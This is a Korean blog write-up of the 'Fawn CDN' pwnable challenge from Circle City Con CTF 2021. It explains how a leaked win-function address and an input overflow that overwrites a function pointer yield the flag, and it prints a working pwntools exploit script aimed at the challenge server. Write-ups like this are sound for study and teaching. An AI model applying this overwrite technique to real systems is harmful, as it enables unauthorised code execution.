CTF/Write UPs

[Circle City Con CTF 2021 : pwnable] [Baby] Fawn CDN 풀이 (overwriting)

jir4vvit 2021. 6. 17. 14:20
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

Analysis

Check Mitigation

Execution & Code

1번 메뉴를 선택하면 무슨 주소를 출력해 준다.

이 주소는 IDA에서 확인한 결과, win함수의 주소임을 알 수 있다.

 win 함수는 아래와 같이 생겼다. 

win 함수

fawn.jpg를 화면에 출력해준다.

뭔가 이 사진에 flag가 저장되어 있을 것 같아서 이 함수를 최종적으로 실행시켜야겠다고 생각했다.

 

그리고 3번 메뉴에서 이 deliver 함수를 실행한다.

직감적으로(?) 이 함수 대신에 win함수를 실행해야겠다고 생각했고, 

마침 디버깅하면서 확인해보니 s에 선택메뉴 번호 적을 때 s.fptr 영역을 덮을 수 있어서 그대로 바로 진행하였다.

Get Flag

from pwn import *

#p = process('./chall')
p = remote('35.224.135.84', 1001)
e = ELF('./chall')

p.sendlineafter('cmd> ', '1')
p.recvuntil('at ')

win = int(p.recv(14), 16)
log.info('win :: '+ hex(win))

payload = ''
payload += '3'
payload += 'A' * (25-10)
payload += p64(win)

#print len(payload)
pause()
p.sendlineafter('cmd> ', payload)

f = open('tmp.jpg', 'w')

tmp = p.recvuntil('1. List files.')
f.write(tmp)

f.close()

p.interactive()

출력되는 값이 사진 파일 값... ? 그런건데 그거를 tmp.jpg에 넣어줬다.

이런거 출력됨
tmp.jpg (fawn.jpg)

사진에 밑에 잘보면 flag값 적혀있다.